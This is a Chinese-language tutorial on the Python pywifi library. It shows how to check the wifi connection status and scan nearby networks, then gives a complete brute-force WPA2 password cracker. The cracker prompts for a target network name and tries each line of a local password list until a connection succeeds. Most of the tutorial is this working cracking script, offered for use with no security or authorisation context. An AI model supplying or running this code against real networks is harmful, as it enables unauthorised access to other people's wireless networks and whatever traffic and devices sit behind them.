python pywifi 模块 详解

判断wifi是否链接

import pywifi
from pywifi import const


# 判断是否连接到wifi
def isWIFIConnect():
    # 创建一个无线对象
    wifi = pywifi.PyWiFi()
    # 获取网卡 [] 列表
    ifaces = wifi.interfaces()[0]
    # 获取无线网卡状态
    if ifaces.status() == const.IFACE_DISCONNECTED:
        print('wifi未连接')
    else:
        print('wifi已连接')


isWIFIConnect()

扫描附近wifi

import pywifi
from pywifi import const

# 扫描附近wifi
def scanWIFIList():
  # 创建一个无线对象
  wifi = pywifi.PyWiFi()
  # 获取网卡 [] 列表
  ifaces = wifi.interfaces()[0]
  # 扫描附件wifi
  ifaces.scan()
  wifiLists = ifaces.scan_results()
  print(wifiLists)

scanWIFIList()

爆力wifi密码破解

import pywifi
from pywifi import const
import time


# 爆力wifi密码破解
def wifiContent(wifiName, wifiPasswrod):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()  # 断开连接
    time.sleep(0.5)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()  # 创建wifi连接文件
        profile.ssid = wifiName  # wifi名称
        profile.key = wifiPasswrod  # wifi密码
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi的加密类型
        profile.auth = const.AUTH_ALG_OPEN  # 开放网卡
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        ifaces.remove_all_network_profiles()  # 删除所有的wifi文件
        tempProfile = ifaces.add_network_profile(profile)  # 设定新的连接文件
        ifaces.connect(tempProfile)  # 连接wifi
        time.sleep(1.5)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False


def main():
    print('---开始破解---')
    file = open('D:\python\study\pywifi\wifikey.txt', 'r')  # 打开密码本
    wifiName = input('请输入所要破解的wifi名字：')
    while True:
        wifiPasswrod = file.readline()
        try:
            bool = wifiContent(wifiName, wifiPasswrod)
            if bool:
                print('正确密码为：' + wifiPasswrod)
                break
            else:
                print('本次尝试的密码为：%s，状态：密码错误。' % wifiPasswrod)
        except:
            continue
    file.close()


main()